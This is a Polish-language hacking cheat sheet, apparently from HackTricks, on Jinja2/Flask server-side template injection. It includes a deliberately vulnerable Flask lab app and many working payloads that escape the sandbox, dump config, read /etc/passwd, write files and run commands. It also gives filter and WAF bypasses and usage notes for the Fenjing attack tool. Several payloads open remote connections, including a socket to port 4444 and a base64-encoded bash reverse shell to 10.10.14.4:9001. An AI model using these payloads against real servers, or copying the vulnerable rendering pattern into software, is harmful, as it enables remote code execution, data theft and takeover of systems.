Podziel się trikami hackingowymi, przesyłając PR-y doHackTricks i HackTricks Cloud repozytoriów na githubie.
Laboratorium
from flask import Flask, request, render_template_stringapp =Flask(__name__)@app.route("/")defhome():if request.args.get('c'):returnrender_template_string(request.args.get('c'))else:return"Hello, send someting inside the param 'c'!"if__name__=="__main__":app.run()
Misc
Debug Statement
Jeśli rozszerzenie debugowania jest włączone, tag debug będzie dostępny do zrzucenia bieżącego kontekstu, a także dostępnych filtrów i testów. To jest przydatne, aby zobaczyć, co jest dostępne do użycia w szablonie bez konfigurowania debuggera.
<pre>{% debug %}</pre>
Zrzut wszystkich zmiennych konfiguracyjnych
{{ config }}#In these object you can find all the configured env variables{%for key, value in config.items()%}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
Jinja Injection
Przede wszystkim, w przypadku Jinja injection musisz znaleźć sposób na ucieczkę z piaskownicy i odzyskać dostęp do regularnego przepływu wykonania Pythona. Aby to zrobić, musisz wykorzystać obiekty, które pochodzą z niepiaskowanej przestrzeni, ale są dostępne z piaskownicy.
Accessing Global Objects
Na przykład, w kodzie render_template("hello.html", username=username, email=email) obiekty username i email pochodzą z niepiaskowanego środowiska Pythona i będą dostępne wewnątrz piaskownicy.
Co więcej, istnieją inne obiekty, które będą zawsze dostępne z piaskownicy, są to:
[]
''
()
dict
config
request
Odzyskiwanie <class 'object'>
Następnie, z tych obiektów musimy dotrzeć do klasy: <class 'object'>, aby spróbować odzyskać zdefiniowane klasy. Dzieje się tak, ponieważ z tego obiektu możemy wywołać metodę __subclasses__ i uzyskać dostęp do wszystkich klas z niezabezpieczonego środowiska python.
Aby uzyskać dostęp do tej klasy obiektu, musisz uzyskać dostęp do obiektu klasy, a następnie uzyskać dostęp do __base__, __mro__()[-1] lub .mro()[-1]. A następnie, po dotarciu do tej klasy obiektu wywołujemy __subclasses__().
Sprawdź te przykłady:
# To access a class object[].__class__''.__class__()["__class__"] # You can also access attributes like thisrequest["__class__"]config.__class__dict#It's already a class# From a class to access the class "object".## "dict" used as example from the previous list:dict.__base__dict["__base__"]dict.mro()[-1]dict.__mro__[-1](dict|attr("__mro__"))[-1](dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]# From the "object" class call __subclasses__(){{dict.__base__.__subclasses__()}}{{dict.mro()[-1].__subclasses__()}}{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()}}{%with a = dict.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Other examples using these ways{{ ().__class__.__base__.__subclasses__()}}{{ [].__class__.__mro__[-1].__subclasses__()}}{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))()}}{{ request.__class__.mro()[-1].__subclasses__()}}{%with a = config.__class__.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Not sure if this will work, but I saw it somewhere{{ [].class.base.subclasses()}}{{''.class.mro()[1].subclasses()}}
RCE Escaping
Odzyskawszy<class 'object'> i wywołując __subclasses__, możemy teraz używać tych klas do odczytu i zapisu plików oraz wykonywania kodu.
Wywołanie __subclasses__ dało nam możliwość dostępu do setek nowych funkcji, będziemy zadowoleni, uzyskując dostęp do klasy pliku, aby czytać/zapisywać pliki lub jakiejkolwiek klasy z dostępem do klasy, która pozwala na wykonywanie poleceń (jak os).
Odczyt/Zapis zdalnego pliku
# ''.__class__.__mro__[1].__subclasses__()[40] = File class{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !')}}
RCE
# The class 396 is the class <class 'subprocess.Popen'>{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}# Without '{{' and '}}'<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
## Passing the cmd line ?cmd=id, Without " and '{{dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip()}}
Aby dowiedzieć się o więcej klasach, które możesz użyć do ucieczki, możesz sprawdzić:
Obejścia filtrów
Powszechne obejścia
Te obejścia pozwolą nam uzyskać dostęp do atrybutów obiektów bez użycia niektórych znaków.
Już widzieliśmy niektóre z tych obejść w przykładach z poprzednich, ale podsumujmy je tutaj:
# Without quotes, _, [, ]## Basic onesrequest.__class__request["__class__"]request['\x5f\x5fclass\x5f\x5f']request|attr("__class__")request|attr(["_"*2,"class","_"*2]|join) # Join trick## Using request object optionsrequest|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to stringhttp://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_# Using with{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
Z globalnych obiektów istnieje inny sposób na uzyskanie RCE bez użycia tej klasy.
Jeśli uda ci się uzyskać dostęp do jakiejkolwiek funkcji z tych globalnych obiektów, będziesz mógł uzyskać dostęp do __globals__.__builtins__ i stamtąd RCE jest bardzo proste.
Możesz znaleźć funkcje z obiektów request, config i każdego innego interesującego globalnego obiektu, do którego masz dostęp, używając:
{{ request.__class__.__dict__ }}-application-_load_form_data-on_json_loading_failed{{ config.__class__.__dict__ }}-__init__-from_envvar-from_pyfile-from_object-from_file-from_json-from_mapping-get_namespace-__repr__# You can iterate through children objects to find more
Gdy znajdziesz kilka funkcji, możesz odzyskać wbudowane za pomocą:
# Read file{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read()}}# RCE{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()}}{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
## Extra## The global from config have a access to a function called import_string## with this function you don't need to access the builtins{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read()}}# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjinghttps://github.com/Marven11/Fenjing to narzędzie, które jest specjalizowane w CTF, ale może być również przydatne do bruteforce'owania nieprawidłowych parametrów w rzeczywistym scenariuszu. Narzędzie po prostu rozpryskuje słowa i zapytania, aby wykryć filtry, szukając obejść, a także zapewnia interaktywną konsolę.
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.